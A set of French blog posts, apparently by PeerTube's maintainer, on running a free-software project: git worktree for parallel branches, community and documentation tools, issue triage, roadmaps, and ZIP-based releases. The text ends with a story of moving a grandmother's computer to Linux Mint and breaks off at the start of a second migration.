Branches git

Pour les besoins du projet nous avons fait le choix d'utiliser une branche git develop pour le travail en cours et d'une branche release/x.x.x pour gérer le code de la dernière release. Lorsqu'il faut corriger un bug important de la dernière release, on commit sur release/x.x.x puis on merge les modifications sur develop. De cette manière develop est toujours en avance sur la branche de release et les deux branches ne divergent pas. Ceci simplifie la gestion des différentes bases de code.

Changer de branche, c'est lourd

PeerTube c'est du TypeScript et donc du JavaScript. Nous utilisons alors beaucoup de modules venant de NPM pour les besoins du serveur et pour compiler le client qui est une application web Angular. À chaque fois qu'il faut changer de branche il faut donc réinstaller tous les modules et potentiellement recompiler le projet ce qui prend du temps.

Ce n'est pas trop gênant lorsqu'on développe des petites fonctionnalités sur une branche dédiée, car la majorité du temps on ne change pas les versions des modules utilisés par PeerTube.

C'est par contre une autre mayonnaise lorsqu'il faut gérer la branche develop et la branche de la dernière release : très souvent les modules ont changé ou ont été mis à jour sur la branche develop, alors qu'ils sont freezé sur la branche de release. Or il nous faut souvent naviguer entre develop et release/x.x.x pour seulement quelques minutes afin de corriger un petit bug. Le processus ressemble à ça :

• Changer de branche : git checkout release/x.x.x
• Réinstaller les modules avec rm -r node_modules client/node_modules && yarn install --pure-lockfile
• Relancer la compilation via npm run build ou npm run dev selon le bug à corriger
• Corriger le bug
• Commiter et pusher la branche git commit ... && git push
• Repasser sur develop, réinstaller les node modules, recompiler (je passe les commandes...)
• Merger release/x.x.x sur develop et pusher

Bref beaucoup d'étapes, certaines qui peuvent être longues et fastidieuses.

Git à la rescousse

Il serait donc intéressant d'optimiser ce process, en utilisant 2 dossier dédiés qui contiendraient pour l'un la branche develop et pour l'autre la branche de la dernière release, avec leur node_modules/ et leur fichiers compilés.

On peut imaginer cloner 2 fois PeerTube dans des dossiers séparés. La soucis de cette méthode c'est de potentielles incohérences car les deux dossiers seraient complètement indépendants. Il faudrait aussi à chaque fois pusher les modifications pour pouvoir les rapatrier dans l'un ou l'autre dossier.

Pour avoir les avantages des deux dossiers clonés mais sans leur inconvénients, git fournit la commande git worktree. Elle va nous permettre de créer un nouveau dossier/workspace à partir de notre dossier git courant. On aura donc Code/PeerTube qui est notre dossier git principal, et Code/PeerTube-release basé sur le git de Code/PeerTube, mais qui sera sur une branche différente de Code/PeerTube, et qui aura ses propres fichiers non suivis par git (node_modules/, fichiers compilés etc). Voici l'exemple avec PeerTube :

$ cd /Coding/NodeJS/PeerTube
$ git worktree add release/4.2.0 ../PeerTube-release
$ git worktree list --verbose
/Coding/NodeJS/PeerTube              4e56f0fff [develop]
/Coding/NodeJS/PeerTube-release  c3fb12b31 [release/4.2.0]

Le gros avantage de cette méthode, c'est que les deux dossiers partagent le même .git. De ce fait, les commits réalisés dans un des dossiers sera directement visible dans l'autre. On peut donc merger release/x.x.x (de Code/PeerTube-release/) dans develop(Code/PeerTube) sans avoir besoin de pusher sur la remote. Git interdit aussi que les deux dossiers soient sur la même branche, ce qui évite des conflits éventuels.

Ce système permet tellement de simplifier le développement de branches en parallèle qu'on l'utilise aussi lorsqu'on a de grosses fonctionnalités à developper.

Afin de gérer la communication avec la communauté, il faut choisir un certains nombre d'outils : tchat ? forum ? documentation externe ? Avec PeerTube, nous avons fait les choix suivants.

GitHub pour le gestionnaire de tickets

Il faut garder une trace des bugs remontés et des discussions d'améliorations. Avec PeerTube on utilise les issues GitHub, mais d'autres outils peuvent faire l'affaire. Un article a déjà été consacré sur la gestion des tickets dans PeerTube, donc je ne vais pas plus m'étaler.

Un forum pour des échanges accessibles

Le gestionnaire de tickets est assez peu utilisé par les utilisateurs classiques de PeerTube (visionneurs/vidéastes) car beaucoup ne connaissent pas GitHub, ne comprennent pas son utilité ou n'ont pas envie de se créer un compte sur la plateforme.

En revanche, un forum parle au plus grand nombre. C'est pourquoi nous avons créé une section dans le forum de Framasoft : https://framacolibri.org/c/peertube (il s'agit d'un Discourse). Les sujets sont divers et variés : il peuvent concerner l'utilisation du logiciel ou son administration. Il nous arrive aussi d'expliquer certains choix ou d'aider sur des problèmes spécifiques. Si le sujet est une proposition d'une nouvelle fonctionnalité ou une remontée de bug, nous redirigeons la personne sur GitHub. À l'opposé, si on juge qu'une demande sur GitHub relève plus du support ou de la question, on redirige sur le forum. Ça nous permet de contenir le nombre d'issues ouvertes sur GitHub qui sont vraiment des demandes précises ou des discussions techniques sur une évolution de PeerTube.

Sans forum, il est vraiment difficile de maintenir une communication avec les utilisateurs d'un logiciel grand public. Et même avec, on a au final assez peu de retours. Il peut alors être intéressant de faire quelques fois un tour sur les médias sociaux pour savoir ce qui se dit sur l'application. En prenant du recul hein, parce que ça peut être saignant ;).

Tchat pour les échanges rapides

Nous utilisons IRC (#peertube sur irc.libera.chat) pour des raisons historiques. Nous avons ensuite branché un bridge Matrix, permettant d'agrandir le nombre de personnes susceptibles de rejoindre le salon.

J'ai toujours aimé IRC, parce qu'il ne notifie pas et qu'il n'y a pas de mécanisme qui nous incite à regarder tout ce qu'il s'y passe. Si on est là c'est tant mieux, sinon tant pis. Ça diminue fortement notre charge mentale. Par contre, il faut avouer que les salons IRC des logiciels sont souvent peu animés. Ce qui n'est pas un mal en soit : ce sont vraiment pour des échanges relativement brefs qui n'ont pas d'intérêts à être gardés en mémoire. Sinon, il vaut mieux passer par le forum ou le gestionnaire de tickets afin de garder une trace.

Site de documentation

Au tout début, on utilisait des fichiers markdown dans le git de PeerTube pour documenter certaines parties du logiciel (installation, gestion etc). Le README servait en quelque sorte de sommaire. Cette façon de faire est simple, et plutôt efficace (documentation dans le dépôt du code donc on pense à la mettre à jour) mais montre rapidement ses limites lorsque le projet grossit.

En effet, au bout d'un moment il faut documenter certaines parties très précises du logiciel, donner des explications aux utilisateurs, faire l'inventaire des outils en CLI disponibles etc. Un site externe de documentation avec un sommaire et qui soit indexable par Google nous a paru être le meilleur choix pour organiser tout ça.

Nous avons au départ décidé d'utiliser docsify qui utilise le JavaScript du navigateur pour interpréter dynamiquement le markdown de chaque page. Ça nous a permis de laisser certaines pages de notre documentation historique (notamment la procédure d'installation de PeerTube) dans le dépôt git, et de demander à docsify d'aller chercher sur GitHub le markdown à afficher. Par contre les pages étaient plus difficilement indexables par les moteurs de recherche, et les miniatures des liens ne fonctionnaient pas sur les réseaux sociaux.

Nous avons donc fait le choix de migrer le site de documentation vers vitepress qui permet de générer facilement un site de documentation optimisé à partir de markdown : https://docs.joinpeertube.org/. De cette manière nous avons une bien meilleure indexation et les liens partagés ont une preview card sur les réseaux sociaux avec le bon titre et la bonne description. En outre le site est beaucoup plus rapide à charger pour l'utilisateur. La documentation encore présente dans le dépôt git de PeerTube sous forme de fichier markdown est automatiquement récupérée chaque nuit, puis le site recompilé.

Il me semble que nous avons fait une erreur au début du projet de choisir Docsify, car l'un des points majeur d'un site de documentation est d'être correctement indexée et découvrable par les moteurs de recherche. La plupart du temps, on pose d'abord la question à Google ("uploader une vidéo sur peertube", "peertube stats vidéos" etc) pour trouver rapidement la réponse sans forcément aller directement sur le site de documentation pour trouver l'information à partir de son menu ou de sa barre de recherche.

Un site officiel

Le site officiel de PeerTube se trouve sur https://joinpeertube.org/. Il permet d'expliquer le but du projet et de rediriger les utilisateurs vers l'outil dont ils ont besoin (documentation, tchat, forum, FAQ etc).

L'autre intérêt principal du site officiel est de créer une sorte de "marque". De façon à ce que si quelqu'un tape le mot "PeerTube" dans son moteur de recherche, il puisse facilement trouver ce site. Sans ça, on pourrait se retrouver avec des utilisateurs tombant sur le projet GitHub peu adapté aux utilisateurs non techniques, ou carrément sur une instance PeerTube non gérée par Framasoft embrouillant les utilisateurs qui ne comprennent pas tout le temps les aspects décentralisation/fédération du logiciel.

Voyons de manière plus détaillée les modules que nous avons ajouté à notre site officiel, mais qui peuvent très bien se situer sur des sites externes.

La FAQ

On se rend vite compte qu'on répond souvent aux mêmes questions, sur des plateformes différentes (Twitter, GitHub, Mastodon, sur le forum etc). La FAQ est un bon moyen pour prendre le temps de créer une réponse argumentée et correctement mise en forme pour un certain type de question.

Par exemple avec PeerTube, nous avons une position très claire sur la rémunération, et la FAQ nous permet de l'éclaircir : https://joinpeertube.org/faq#what-is-peertube-s-policy-about-content-monetization

Outre le gain de temps lorsque nous mettons juste le lien vers la FAQ pour répondre aux questions les plus courantes, ça donne aussi la possibilité à d'autres personnes de la communauté de s'échanger cette même réponse, qui reste donc fidèle à notre pensée. Et surtout les moteurs de recherche peuvent indexer cette page pour fournir directement la réponse aux utilisateurs lorsqu'ils demandent à Google s'il faut un gros serveur pour faire tourner PeerTube.

Le blog

Le blog nous permet d'écrire des billets d'actualité à chaque release afin d'expliquer de manière simple ce qu'elle apporte. On l'utilise aussi pour faire quelques annonces, comme par exemple ce qu'on prévoit de faire pour l'année en cours. Le blog est un outil de communication important qui rappelle aux gens qui peuvent suivre le projet de loin qu'il continue d'évoluer. Les liens des billets de blog peuvent ensuite être partagés sur les réseaux sociaux ce qui crée une petite émulsion et participe à faire connaitre le projet au plus grand nombre.

Et pour que ces actualités puissent toucher le maximum de personnes, elles sont aussi diffusées via une newsletter et disponibles dans un flux RSS.

Un outil de vote de fonctionnalités

Une des difficultés à développer un logiciel libre utilisé par des sysadmins qui auront leur propre utilisateurs, c'est qu'on a du mal à avoir un lien avec ces fameux utilisateurs finaux. C'est pourquoi nous avons beaucoup de demandes techniques sur le GitHub, qui ne nous paraissent pas forcément refléter les volontés des vidéastes et visionneurs de PeerTube.

Il nous a donc fallu trouver un moyen d'échanger avec ces end users de manière simple et efficace afin de connaître leurs attentes. C'est pourquoi nous avons lancé un site où n'importe qui peut proposer et voter pour des fonctionnalités qu'il ou elle juge pertinente : https://ideas.joinpeertube.org/.

L'interface est beaucoup plus simple que GitHub ou un forum, et le site ne demande simplement qu'une adresse email pour proposer ou voter pour une fonctionnalité. Pas besoin de créer un compte via un formulaire complexe ce qui rend la tâche beaucoup plus aisée et inclusive.

C'est donc en consultant les tickets les plus plébiscités sur ideas.joinpeertube.org, en plus des issues GitHub, que nous créons les feuilles de route de PeerTube.

On ne va pas se le cacher : il y a toujours un moment où on regrette l'époque où on travaillait tranquillement sur son projet, en faisant sa tambouille dans son coin. Une fois que le projet grandit et qu'il devient connu, on doit faire face aux critiques, aux jugements, aux phrases du type "je ne comprends pas pourquoi telle ou telle fonctionnalité n'est pas encore implémenté" etc. Toute la difficulté réside dans le fait de trouver un juste au milieu entre se remettre en question et garder le cap qu'on s'est fixé.

C'est un pic ? Non c'est un cap

Il est très important de se fixer un objectif à long terme, afin d'avoir de la cohérence dans les choix qu'on fait en développant un logiciel. Par exemple avec PeerTube, Framasoft crée chaque année une feuille de route sur laquelle on communique et qui nous donne une vision du type de plateforme qu'on espère avoir au mois de décembre.

Cette feuille de route aide les utilisateurs à comprendre la portée du logiciel, et permet aux développeurs de ne pas s'éloigner du chemin fixé. Il me paraît important de créer une application qui fait au début une seule chose, mais qui essaye de la faire correctement.

Par exemple avec PeerTube, parce qu'on utilise le P2P pour soulager la bande passante du serveur on se retrouve quelques fois avec des demandes s'apparentant à un logiciel pour seedbox. Or, nous faisons un logiciel de streaming vidéo. Que PeerTube continue de seeder un torrent après import n'est pas notre objectif. D'avoir un player qui tienne la route si.

Il arrive quelques fois qu'un contributeur crée une fonctionnalité via une PR/MR dont on peut avoir du mal à voir l'intérêt. Il faut pouvoir accepter ce genre de contribution, car nous ne sommes pas les seuls utilisateurs du logiciel : ce qu'on juge peu pertinent, peut l'être pour une majorité des utilisateurs. Néanmoins une PR/MR est un don de code, vous héritez donc de sa maintenance (correction de bugs futurs, amélioration de l'UX, documentation etc). Nous sommes alors en droit de refuser un code que nous jugeons peu acceptable (mal codé, alambiqué, fonctionnalité trop spécifique qui alourdit l'interface etc).

Il est compliqué de savoir où tracer la limite entre accepter n'importe quel code, et être un développeur autoritaire qui refuse toute contribution externe. Encore une fois, la feuille de route peut aider à ajuster cette limite.

L'art d'accepter les critiques

Un cap n'est cependant pas une roadmap. Il faut accepter la critique, et pouvoir la réadapter selon les discussions. On fait souvent un logiciel libre pour les utilisateurs. Si beaucoup jugent une nouvelle fonctionnalité importante, il est peut-être pertinent de réadapter un petit peu la feuille de route fixée. Il est cependant anormal de la changer trop souvent. Si c'est le cas, peut-être que le cap n'était pas le bon. Ou peut-être qu'il y a un soucis de compréhension avec les utilisateurs, et dans ce cas c'est un problème de communication.

Avec PeerTube, beaucoup de personnes s'attendent à ce qu'on fasse comme Youtube et qu'on se dote d'un système de monétisation. Toute la difficulté réside dans le fait d'expliquer que nous n'implémenterons pas ce genre de fonctionnalité, et surtout faire comprendre pourquoi.

Garder son sang froid

Sur Internet, les critiques peuvent être acerbes. Souvent, par des personnes mal informées qui n'auront pas regardé le projet de près. Certaines remarques seront des plaintes, d'autres carrément des insultes. Il est important de garder son sang-froid en toute circonstance. Souvent, il vaut mieux passer outre (la bave du crapaud etc). Mais il peut être important de mettre le holà à certaines critiques répétées (la FAQ du projet est utile dans ces cas là).

Au delà des critiques, certaines personnes vous expliqueront qu'une fonctionnalité précise de votre logiciel est primordiale, et que vous devez travailler dessus "ASAP". D'autres trouveront carrément que vous être un crétin irresponsable de ne pas l'avoir déjà implémentée. Là encore, il faut garder son sang froid et expliquer en étant ferme que vous fournissez gratuitement un logiciel libre, et que les utilisateurs de votre projet ne sont pas vos clients.

Ne pas se faire déborder par les attentes

Ces nombreuses attentes, commentaires et demandes quelques fois pressantes rajoutent une charge mentale bien souvent pénible, qui peut disperser. C'est pour cette raison que le cap est important. Pour ma part, ça me permet de voir où on en est, où on veut aller, et quel chemin on a parcouru.

Il reste important de consulter et trier les issues, mais il faut peut-être s'organiser afin de ne pas les regarder trop souvent. Lorsqu'on fait un logiciel communautaire (sans contrat support), rien n'est vraiment "urgent". Il ne faut pas céder à l'impatience de certains : il suffit de prendre un peu de recul, ne pas hésiter à mettre le nez dehors pour se rendre compte que si le player vidéo ne fonctionne pas sur tel ou tel navigateur à cause d'un bug, ben c'est pas grave. On prendra le temps de le corriger.

Aller voir ce qui se dit concernant le logiciel sur les réseaux sociaux peut-être enrichissant, mais aussi frustrant.. Ne pas hésiter à ignorer ces plateformes pour se protéger, même s'il faut avouer qu'on trouve aussi des commentaires pertinents (remontées de bugs ou améliorations) de personnes qui n'iraient pas forcément sur votre gestionnaire de tickets ou forum.

Une fois la méthode de release choisie et le logiciel diffusé, le projet commence à prendre de l'ampleur et on reçoit de plus en plus de tickets. Il est temps d'organiser tout ça. Voici comment on s'y est pris avec PeerTube.

Utiliser un template d'issue

Nous utilisons un template d'issue, encourageant les personnes qui créent des tickets à l'utiliser. Ça permet d'éviter de poser 20 fois les mêmes questions ("Quelle est la version de NodeJS ?") et surtout d'accélérer les échanges (asynchrones, donc une réponse en plus peut prendre plusieurs jours).

Par exemple avec les bugs, on utilise le schéma suivant :

• Que s'est il passé ?
• Qu'est ce qu'il aurait dû se passer à la place ?
• Comment reproduire ?
• Informations complémentaires (versions des logiciels, logs du serveur ou du navigateur...)

Généralement, si les informations sont correctement renseignées, on comprend directement si c'est un bug ou non, où il se situe et ce qui a pu l'amener. Attention cependant à ne pas abuser de questions dans le template, pouvant décourager les utilisateurs à reporter des bugs.

Le template peut aussi servir pour indiquer aux personnes de lire la FAQ avant de créer leur issue, ou d'avertir de ne pas utiliser le système de tickets pour remonter des problèmes de sécurité (qui doivent passer par un canal séparé et non public).

Nous avons aussi un template pour les demandes de fonctionnalités, pour encourager les utilisateurs à structurer leur pensée :

• Décrivez le problème à résoudre
• Décrivez la solution que vous aimeriez
• Décrivez les alternatives que vous avez envisagé

Les labels

On a choisi de les organiser en 4 thèmes :

• Le composant associé à l'issue : chaînes vidéos, modération, player etc
• Le type de l'issue : amélioration, bug, discussion, question...
• Son statut : à reproduire, bloqué, en cours, en attente de réponse
• Et sa priorité : critique, moyenne, basse...

On se sert principalement des labels de type Composant et Type. On a encore une bonne marge d'amélioration sur ce point-là.

Le label Status: Waiting answer est très pratique pour fermer les issues dont vous n'avez pas de réponses depuis x jours. Ça évite d'utiliser un stale bot, qui est de mon avis une horreur absolue.

On utilise souvent les labels Status: To Reproduce et Type: Bug pour avoir une vue des problèmes soulevés, et donc à s'occuper assez rapidement (d'où l'intérêt de la couleur rouge pour le label Type: Bug).

Enfin, ne pas oublier d'ajouter un label good first issue pour aiguiller des développeurs qui voudraient se faire la main sur le logiciel.

Avoir un code de conduite

On n'y pense pas forcément au début, et on peut avoir du mal à en voir l'intérêt. Mais ajouter un code de conduite avant l'arrivée des contributeurs est quelque chose d'assez important. Plus le projet va devenir connu et plus vous allez devoir gérer des interactions au sein et autour du projet. Malheureusement, il va falloir à un moment donné gérer certaines de ces interactions, pour protéger votre projet, vous-même ou bien d'autres contributeurs.

Ajouter un code de conduite ne requière pas beaucoup de travail : de nombreux templates sont disponibles sur internet. Le tout est de s'assurer qu'outre les choses évidentes (sexisme, insultes etc), il couvre aussi les commentaires déplacés qui peuvent devenir irritants (commentaires désobligeants, trolls etc) et le harcèlement. Dans le cas de PeerTube (et de nombreux autres projets open-source), le harcèlement prend souvent la forme d'une personne un peu influente sur un réseau social qui met un lien vers un ticket ou un commentaire avec lequel il est en désaccord, et demande à sa communauté de faire pression de manière peu sympathique. Vous verrez alors tout un flot de nouveaux comptes se créer et "participer" à la discussion. C'est à ce moment que le code de conduite est utile : il vous permet de facilement arbitrer et bloquer les comptes/discussions afin de retrouver des échanges plus sereins.

Dire merci

Avant de répondre à une issue, ça ne coûte pas grand chose de débuter par un merci car la personne a pris le temps de vous remonter un problème ou une idée, chose précieuse dans un projet libre.

Les moteurs de recherche ne sont pas parfait, et les humains encore moins. Il arrive que certaines issues soient en fait des doublons. Là encore, un merci ne coûte pas grand chose : la personne ne l'a sans doute pas fait exprès, et les gestionnaires de tickets sont souvent dotés de "réponses rapides".

Prendre position

Il est souvent tentant de laisser une issue ouverte, même si on la trouve sans intérêt ou en désaccord avec l'idée principale du projet dans le but d'éviter un conflit avec le créateur du ticket. Il faut néanmoins savoir se faire violence et fermer ce genre d'issue afin que personne ne se fasse de faux espoirs sur la réalisation d'une fonctionnalité qu'on ne souhaite pas implémenter/accepter. L'autre intérêt est de garder le nombre d'issues ouvertes sous un certain seuil, sinon ça peut vite devenir compliqué à gérer.

Avant même qu'un projet libre ou open-source ne prenne un peu d'ampleur, il faut savoir comment le diffuser. Cette diffusion a des répercussions importantes sur les mises à jour du logiciel, et il est difficile d'en changer. D'où l'intérêt de choisir une bonne méthode dès le début.

J'ai mis longtemps à savoir quelle méthode de release utiliser. Chaque gros projet web semble choisir une méthode différente, et aucune n'a l'air de prendre le dessus. J'ai étudié plusieurs options puis en ai retenue une, qui semble être appréciée par les administrateurs de PeerTube, de par sa simplicité et son efficacité. À l'époque, je n'avais pas vraiment trouvé d'articles de développeurs donnant leur ressenti sur leur façon de releaser leur projet web. J'espère donc que ce billet de blog sera utile à certains.

Voici grosso modo les choses dont on a besoin :

• Facilement récupérer la dernière version compilée du logiciel (le build de PeerTube prend beaucoup de temps)
• Remplacer la version existante
• Installer les dépendances NodeJS
• Gérer une hiérarchie de dossiers, afin que certains ne soient pas écrasés lors des mises à jour (dossiers de stockage et configuration)
• Revenir à une précédente version sans trop de galères

Voici donc un petit tour d'horizon des différentes méthodes que j'avais considérées.

Git

Git permet de facilement mettre à jour une application avec un git pull, et de pouvoir naviguer entre les différentes branches et tags. Mais ça peut vite devenir lourd lorsque le projet grandit, et possède beaucoup de commits/branches. Il me paraît un peu dommage de récupérer toutes les révisions de développement, alors qu'au final l'administrateur n'est intéressé que par un instantané du code.

De plus, on devrait mettre les fichiers compilés directement dans le Git ce qui n'est pas idéal. Ou sinon les administrateurs devraient compiler eux-même PeerTube, mais ça prend du temps et beaucoup de CPU/RAM. J'ai donc décidé de ne pas partir sur cette méthode.

NPM

NPM a l'avantage de gérer et d'installer lui-même les dépendances NodeJS, en plus de stocker et transmettre de manière transparente le code. Un npm install peertube qui diffuserait uniquement les fichiers compilés aurait permis d'avoir quasiment un PeerTube fonctionnel. Le soucis c'est qu'on devient très dépendant de NPM (l'outil et le fournisseur), et on se retrouve avec une hiérarchie de dossiers qu'on peut difficilement contrôler.

Paquet GNU/Linux

Un paquet natif à la distribution GNU/Linux qu'on utilise (.deb ou .rpm) est aussi une solution très pratique pour les administrateurs. En une commande, tout s'installe correctement sur sa distribution. Et surtout, ça s'ajoute à l'inventaire des paquets présents sur le serveur tout en gérant les conflits et dépendances système (PostgreSQL, NodeJS etc). Sauf que ça demande beaucoup de travail pour les développeurs car il faut générer plusieurs types de paquets selon les distributions Linux, en plus des connaissances sur leur construction. N'ayant pas ces connaissances, j'ai décidé de ne pas retenir cette méthode. Il me semble cependant qu'il s'agit de la manière la plus pratique pour releaser et mettre à jour un logiciel, si on a le temps et les compétences nécessaires.

Docker

Docker est assez efficace pour diffuser, installer ou tester un logiciel. Mais pour moi c'est quelque chose en plus d'une méthode de release classique, car Docker divise et peut donc rebuter certains administrateurs. Ça ajoute aussi une surcouche au logiciel qui peut entraîner quelques effets de bord. Et honnêtement, créer un logiciel est déjà assez compliqué comme ça :)

On peut aussi se dire que diffuser son logiciel seulement via Docker est un parti pris : les développeurs gagnent du temps en utilisant une seule méthode de release dans un environnement testé et approuvé. Je ne porte pas Docker dans mon coeur, donc là encore j'ai décidé de ne pas retenir cette méthode.

Diffuser un ZIP

C'est finalement la méthode choisie pour PeerTube.

Un zip a l'avantage d'être un format simple, efficace et très utilisé. On peut le diffuser via GitHub, Gitlab ou directement sur le site web officiel du projet. Les administrateurs ont donc juste à utiliser wget ou curl pour récupérer l'archive, puis unzip.

Un ZIP c'est beau, mais il faut aussi savoir comment organiser les dossiers et remplacer la version existante. Car on n'a pas de .gitignore pour dire de ne pas toucher tel ou tel dossier (de configuration ou de stockage de données), et pas de git checkout pour facilement repasser à la version précédente du logiciel. Pour palier à ces deux situations, je me suis inspiré de la méthode de release de Seafile :

• On télécharge le ZIP
• On extrait l'archive dans un dossier mon-projet-x.y.z
• On crée un lien symbolique mon-projet-latest pointant sur mon-projet-x.y.z
• mon-projet-latest est la version courante, utilisée par nginx pour servir les fichiers statiques et systemd pour démarrer le serveur

On peut donc facilement jongler entre les différentes versions du projet (il suffit de changer le lien symbolique) et tous les dossiers à côté de mon-projet-latest ne seront pas affectés par les mises à jour (on peut imaginer avoir un dossier config, data etc). On a donc un arbre de dossiers de la forme :

.
├── config
├── mon-projet-latest -> version/mon-projet-x-y-z
├── data
└── version

Le dossier version contient les versions précédentes du logiciel.

L'installation pour organiser les dossiers peut être un peu lourde (ça rajoute 2 ou 3 commandes en plus et les administrateurs ne savent pas tout le temps où on veut en venir), mais les mises à jour sont très efficaces : on télécharge l'archive puis on l'extrait, on installe les dépendances, fait pointer le lien symbolique vers le nouveau dossier et le tour est joué. Il n'y a plus qu'à redémarrer le service.

Se pose cependant la gestion des dépendances : pour PeerTube, qui est un projet web NodeJS, il faut (ré)installer les nombreux modules via NPM ou Yarn une fois le fichier ZIP extrait. Je me suis demandé pendant un moment s'il n'était pas plus pertinent de mettre les dépendances directement dans le ZIP. Mais j'ai réalisé que ce serait du gâchis d'espace et de réseau : les versions récentes de NPM et Yarn embarquent un cache local donc il est assez rapide et efficace de réinstaller les dépendances directement via ces outils. Cette vision des choses a cependant l'air d'être remise en question par Yarn 2. À voir dans l'avenir si on ne finit pas par ajouter les dépendances directement dans le ZIP.

Le seul désavantage de cette technique c'est que vous ne pouvez pas vous assurer des versions des dépendances système de votre projet (PostgreSQL, Redis...) comme avec un paquet .deb ou .rpm : il faut coder une vérification directement dans le logiciel.

PeerTube est une plateforme web de diffusion de vidéos fédérée et en P2P, que des administrateurs peuvent installer sur leur serveur. C'est un programme en TypeScript, qui tourne via NodeJS et qui a besoin d'une base de données PostgreSQL, de Redis et de nginx. Voici par exemple ce que ça donne : https://peertube2.cpy.re/

Ce qui n'était qu'un projet étudiant pour m'amuser, est devenu mon métier. Autant dire que le projet a beaucoup changé, mais surtout pris une autre envergure. Il faut maintenant gérer beaucoup de choses qui ne sont pas celles auxquelles on pense lorsqu'on commence à coder : gestion de communauté, promotion, communication, releases, installation du logiciel, organisation de la roadmap etc.

Il n'y a malheureusement pas de guide universel du parfait petit mainteneur de projet libre. J'ai donc passé beaucoup de temps à essayer de savoir comment faire correctement telle ou telle chose. Par exemple, comment releaser mon projet ? En utilisant NPM ? Git ? Un ZIP ? Comment gérer une communauté en tant que simple développeur ? Comment labelliser mes tickets pour que je puisse m'y retrouver ? Dois-je créer un code de conduite ? Dois-je avoir un site de documentation ? Est-ce qu'il est vraiment utile d'avoir un site officiel ?

Je n'ai pas encore toutes les bonnes réponses. Mais ce qui est sûr, c'est que ces années ont été très enrichissantes. J'ai appris de mes erreurs, mais aussi de choix qui me semblent pertinents. C'est pourquoi je me lance dans quelques articles afin de faire un bilan de mes quelques expériences, qui je l'espère pourront intéresser certains développeurs de projets libres/open-sources.

Sommaire

• Partie 1 : releases & mises à jour
• Partie 2 : la gestion des tickets
• Partie 3 : garder le cap
• Partie 4 : les outils communautaires
• Partie 5 : gérer le code des releases en parallèle

Le projet a beaucoup évolué, mais reste globalement dans le même esprit du premier article : de la fédération pour alléger l'espace de stockage, et le P2P pour diminuer la bande passante nécessaire.

Je ne vais pas forcément revenir sur tout ce qui s'est passé en détail, car nous avons déjà raconté beaucoup de choses sur le site officiel : https://joinpeertube.org/news et sur le Framablog : https://framablog.org/

Merci à tous ceux qui nous ont permis de commencer et continuer cette aventure.

Vous avez passé une semaine dans une université d'informatique et ça y est, vous êtes catalogué comme étant l'informaticien de la famille. Au moindre soucis (antivirus qui a expiré, favoris qui ont disparu...), on vous désignera comme le messie qui résoudra le problème (généralement pour s'en débarrasser).
Aaaah qu'est ce que vous aimez passer vos week-ends à mettre à jour des softs Windows en faisant bien attention à décocher les petites cases putassières.

Un beau jour après moultes plaintes d'une mamie concernant la lenteur de son ordinateur bas de gamme acheté il y a 5 ans, j'ai décidé de mettre à jour Windows dans sa version 10 en espérant y voir un gain de performance (oui je crois aux miracles). Après trois tentatives qui se sont soldées par un échec (codes erreurs à foison) et 6h de perdues, j'en ai eu marre et j'ai décidé de mettre un GNU/Linux en dual boot (histoire d'essayer m'voyez). De toute manière c'était ça ou acheter un nouvel ordinateur dans le commerce.

Résultat ? L'ordinateur est devenu rapide : il ne met plus 30 minutes à démarrer et 10 autres pour lancer le navigateur qui finira de toute manière en mode "ne répond pas". Fini les vieilles alertes putassières d'Avast "Danger" sous fond rouge qui vous feront gagner un appel de mamy Jacqueline toute paniquée en pleine semaine. Fini aussi les mises à jour de Flash ou de Java (mes deux programmes préférés) où vous devez bien faire attention à décocher les différentes cases qui installeraient toutes les merdes de l'univers sur un ordinateur qui est déjà en train d'agoniser.

Quand j'entends que GNU/Linux c'est compliqué j'en pleure de rire. Sérieusement ? Sous Windows on passe sa vie à configurer l'antivirus ou à mettre à jour un à un les logiciels. Et ça c'est quand tout va bien. Avec un Linux ? Chaque semaine vous cliquez sur une petite icône, tapez votre mot de passe et en 5 minutes votre système est entièrement à jour. Et surtout vous reprenez le contrôle de votre machine.

Première migration : mamy Jacqueline

Comme expliqué plus haut, tout a commencé avec ce fameux Windows 10 impossible à mettre à jour. Mamy Jacqueline trouve son ordinateur très lent et envisage d'en acheter un autre. Je décide donc d'installer GNU/Linux en dual boot histoire de voir si elle peut s'y habituer et si ça lui plait. Ça ne devrait pas trop changer ses habitudes vu qu'elle ne fait que du mail, va sur le web et regarde des documents multimédias (photos, diaporamas...).
Je décide de mettre Linux Mint (basée sur Ubuntu LTS) conseillé par un ami. Vu que c'est du LTS on est pas emmerdé tous les trois jours parce que quelque chose ne fonctionne plus. De plus les codecs proprios sont inclus donc aucune panique concernant Flash et autres bouses qui peuplent le web. C'est quelque chose de très important afin d'éviter de rebuter l'utilisateur venant du monde Windows : si quelque chose marchait avant et ne fonctionne plus avec son nouveau système Linux cherchez pas c'est déjà mort (et en plus ça sera de votre faute :) ).

Bref, je lance le live USB de Mint et je suis agréablement surpris par la simplicité de l'installeur (je viens du monde ArchLinux, je suis pas habitué :p). Avec une bonne connexion ADSL ça prend tout bonnement 30 minutes pour installer complètement le système. J'avoue que j'ai été assez impressionné, surtout quand on sait le temps que j'avais attendu pour que la mise à jour vers Windows 10 se fasse plante.

Au rallumage je boot sur Mint (choix par défaut) et je remarque que l'ordinateur est infiniment plus rapide. Je m'attendais à ce qu'il le soit, mais pas autant.

Maintenant il faut couvrir les besoins de mamy Jacqueline :

• Pour aller sur le web elle utilisait Google Chrome. Je lui installe donc Firefox ça ne devrait pas vraiment lui changer beaucoup de choses. J'ajoute des favoris dans la barre personnelle (météo, sites d'informations...) et le tour est joué
• Pour les mails elle utilisait Windows Live Mail. Je lui installe Thunderbird : il est plutôt simple d'utilisation pour les fonctions basiques donc une petite formation devrait suffire. En revanche je suis devenu tout rouge pour exporter les contacts de Windows Live Mail
• Pour le multimédia, Mint comprend déjà une liseuse d'images, de vidéos et Libre Office (pour les diaporamas généralement envoyés par mail)

Une fois que les besoins initiaux ont été comblés, on peut passer à des trucs plus fun. Par exemple, je sais que mamy Jacqueline aime bien les belles photos de paysages. Je lui installe alors variety qui est une très bonne application permettant de changer automatiquement le fond d'écran du bureau à partir d'images récupérées sur différents sites.

Après plusieurs mois d'utilisation, mamy Jacqueline est très contente de son nouveau système d'exploitation. Elle ne ressent plus le besoin de changer d'ordinateur. De plus elle est ravie des beaux paysages qui s'affichent sur son bureau.
Quand à moi je suis enfin en paix : j'ai juste à regarder son ordinateur de temps en temps et faire la mise à jour du système en deux clics.

Deuxième migration :

